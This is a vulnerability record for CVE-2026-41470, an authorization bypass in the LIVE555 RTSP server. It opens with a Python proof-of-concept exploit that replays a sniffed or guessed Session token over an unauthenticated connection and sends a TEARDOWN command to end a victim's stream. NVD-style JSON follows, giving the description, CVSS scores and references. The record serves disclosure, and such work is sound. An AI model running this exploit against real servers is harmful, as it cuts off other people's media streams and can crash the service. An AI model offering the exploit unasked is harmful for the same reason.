CVE-2026-41470

import socket # CVE-2026-41470 PoC: LIVE555 Authorization Bypass via Session Replay # Target: LIVE555 < 2026.04.22 # Description: Replays a valid Session token from a second connection to send commands without auth. def exploit(target_ip, target_port, session_id): # Create a new TCP connection (unauthenticated) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Construct a TEARDOWN command with the captured Session ID # This command usually requires authentication, but is accepted due to the bug payload = f"TEARDOWN rtsp://{target_ip}:{target_port}/stream RTSP/1.0\r\n" payload += f"Session: {session_id}\r\n" payload += f"CSeq: 3\r\n\r\n" print(f"[*] Sending malicious TEARDOWN with Session: {session_id}") s.send(payload.encode()) # Receive response response = s.recv(1024) print(f"[+] Response:\n{response.decode()}") s.close() if __name__ == "__main__": # Example usage # Attacker needs to sniff or guess a valid session_id first target = "192.168.1.100" port = 554 valid_session_id = "1234567890" # Replace with a valid Session ID observed in traffic exploit(target, port, valid_session_id)

{"cve": {"id": "CVE-2026-41470", "sourceIdentifier": "[email protected]", "published": "2026-05-19T19:16:50.440", "lastModified": "2026-05-19T21:08:41.030", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "LIVE555 before 2026.04.22 contains an authorization bypass vulnerability in RTSP session command handling that allows attackers to replay valid Session tokens from unauthenticated connections. Attackers who obtain a valid Session token can issue PLAY and TEARDOWN commands from a second TCP connection without authentication, causing server crashes through virtual function call errors or disrupting active streams by terminating victim sessions."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://download.live555.com/", "source": "[email protected]"}, {"url": "https://gist.github.com/yhcho0405/ee9b67a96808ef19f22e8a4ee88c795f", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/live555-rtsp-server-authorization-bypass-via-session-token", "source": "[email protected]"}]}}